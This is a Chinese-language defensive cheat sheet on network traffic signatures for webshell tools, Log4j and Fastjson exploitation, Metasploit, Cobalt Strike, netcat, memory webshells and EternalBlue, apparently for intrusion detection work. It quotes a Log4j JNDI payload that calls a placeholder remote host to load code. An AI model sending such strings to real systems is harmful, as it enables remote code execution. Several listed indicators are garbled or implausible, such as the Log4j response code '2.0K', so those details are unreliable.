常见流量特征
蚁剑流量特征
base64 AES加密
传递函数: php 类常见@ini set("display errors","g"),@set time limit(@) , asp 类常见 execute
同时蚁剑也有eval这种明显的特征
混淆加密后常_ox......= 这种形式,以_x 开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征
菜刀流量特征
早期版本明文传输,后面是 base64 加密
特征主要在 body 中,base64-encode 默认参数为 zo
对其进行 base64 解密之后会发现脚本用于传递 payload 的函数,比如 php 的 eval 和 assert,asp 中 的 execute后面的版本 body 中部分字符被 unicode 编码替换混淆,常见 %u00
ua头为百度爬虫
冰蝎流量特征
AES 加密
在建立链接之前会有一个 AES 密交互过程,body 体中都是 AES 加密后密文
冰蝎数据包总是伴随着大量的content-type: application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream
冰蝎2.0,contentength 请求长度,content-Length: 16 (在各种语言的webshell中都会存在16位数的连接密码)
冰蝎2.0,建立连接后 所有请求 Cookie的格式都为: cookie: PHSESSID=; path=/;
冰蝎3.0,内置的默认内置16个ua (user-agent)头
冰蝎3.0,在使用命令执行功能时,请求包中contentength 为5740或5720 (可能会根据Java版本而改变)
冰蝎3.0,每一个请求头中存在 pragma: no-cache,Cache-Control: no-cache.
冰蝎4.0,Content-Type: application/x-www-form-urlencoded0
哥斯拉流量特征
base64 加密
在所有请求中Cookie中后面都存在 ; 特征
选择默认脚本编码生成的情况下,isp连接特征与php请求一样都含有 pass,xc 而且发起连接时服务器返回的 Content-Length 是0(返为空)
Java反射 ( classLoader,getclass().getclassLoader() ) ,base64加解码等特征
log4j流量特征
HTTP请求中包含特定的JNDI注入Payload,如 ${jndi:ldap://x.x.x.x:1389/Exploit}
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等
HTTP响应中包含特定的响应码,如“2.0K”等
HTTP响应中包含特定的响应内容,如“JNDI lookup successful”等
fastjson的攻击链流量特征
- JSON数据中含有Fastjson的特定反序列化注解,如@JSONField、@JSONType等。
- JSON数据中存在恶意代码片段,可能会利用Java反射、利用Java漏洞等进行远程代码执行。
- 反序列化过程中,Fastjson解析器对特定类型的处理异常或异常流量。
- 反序列化后,应用程序行为异常,可能出现未预期的输出、远程命令执行等异常行为。
MSF流量特征
- Jser-Agent 字段: MSF 通常会自定义 User-Agent 字段
- Payload: MSF 使用的 Payload 通常是经过编码的二进制数据,例如 base64 编码后的 Shellcode
- 特定协议端口: MSF 可以利用多种协议进行攻击,例如常用的 TCP 和 HTTP 协议,因此可以根据特定协议的端口号来识别MSF 的流量,MSF 生成的后门程序通常会监听不常用的端口,例如 4444 等
- 请求 URL: MSF 通常会使用一些特殊的 URL 来发漏洞,例如使用 /cgi-bin/php4 或 /index,php?route=checkout/cart/add 等URL
- 多次连接同一目标: MSF 生成的后门程席通常会通过多次连接同一目标来建立稳定的C&C通信
- 恶意指令的参数: MSF 生成的后门程序通常会使用一些恶意指令来执行攻击者的操作,例如 shell 命令、文件下载等
CobaltStrike流量特征
- 请求头中通常会包含User-Agent字段,其值通常为 cobalt Strike User Agent 或 Mozila/5,0(WindowsNT10.0;WOW64;Trident/7.0;rv:11.0)likeGeckoElectron/8.2.0 Safari/537.36
- 响应头中通常会包含Content-Type为 application/octet-stream,表示返回的是二进制数据
- 在HTTP请求中会使用Cookie进行会话管理,常见的Cookie名称包括 session、sessionid、JSESSIONID等
- 通常会使用AES、RC4 等加密算法对数据进行加密,并使用 Base64 等编码方式进行数据转换
- 常见的Cobalt Strike命令通常包括 beacon、tasklist、shel1等,可以通过检测网络流量中的这些关键词进行识别
- 使用HTTP或HTTPS进行通信,默认请求方法是get,心跳包默认是60s,服务端默认端口是 50050
nc的流量特征
- 默认使用明文传输
- 数据包流量中包含可疑字符或特定的指令,例如如shell命令
- nc可以使用TCP或UDP协议进行通信,因此其数据包流量通常包含TCP或UDP头部
内存马流量特征
非标准端口: 内存马通常使用非标准的通信端口进行与控制服务器的通信。例如使用高端口号或其他非常见端口
加密或编码流量:为了绕过网络检测和阻止,内存马通常会对通信流量进行加密或编码
高频率的通信:内存马可能会与控制服务器建立持续的通信,发送数据或接收指令。这可能导致与常规网络通信模式不同的高频率数据传输
异常流量模式:内存马的流量模式可能与正常的网络通信模式不同,例如数据包大小、时间间隔、通信方向等方面的异常
非常见的协议或通信方式:内存马可能使用非常见的协议或通信方式与控制服务器进行通信
java内存马流量特征
动态反射: 内存马使用Java的反射机制动态加载和执行代码,从而绕过静态分析和检测。
网络通信:内存马通常与远程命令和控制服务器建立通信,以接收进一步的指令或传输数据。这可能包括使用 HTTP、TCP、UDP 或其他协议进行通信。
反调试和反虚拟机检测:内存马可能会检测是否在调试环境下运行,并采取相应的反调试措施。此外,它可能还会尝过检测虚拟机环境,以防止被静态或动态分析。
永恒之蓝流量特征
使用smb协议
使用特定端口:攻击流量通常出现在TCP端口445、TCP端口139和UDP端口137/138上
大量连接请求:攻击者利用永恒之蓝进行攻击时,会发送大量的连接请求和数据包,因此在流量中可能出现大量的TCP连接请求和数据包传输
数据包偏大:永恒之蓝攻击利用的是SMBV1协议的漏洞,攻击数据包通常比较大,可能会超过正常的网络数据包大小,因此在流量中可能出现异常的数据包大小
流量数据包中会有恶意载荷:攻击者在利用永恒之蓝进行攻击时,通常会携带恶意载荷,如木马程序、后门程序等,因此在流量中口能会发现恶意载荷的传输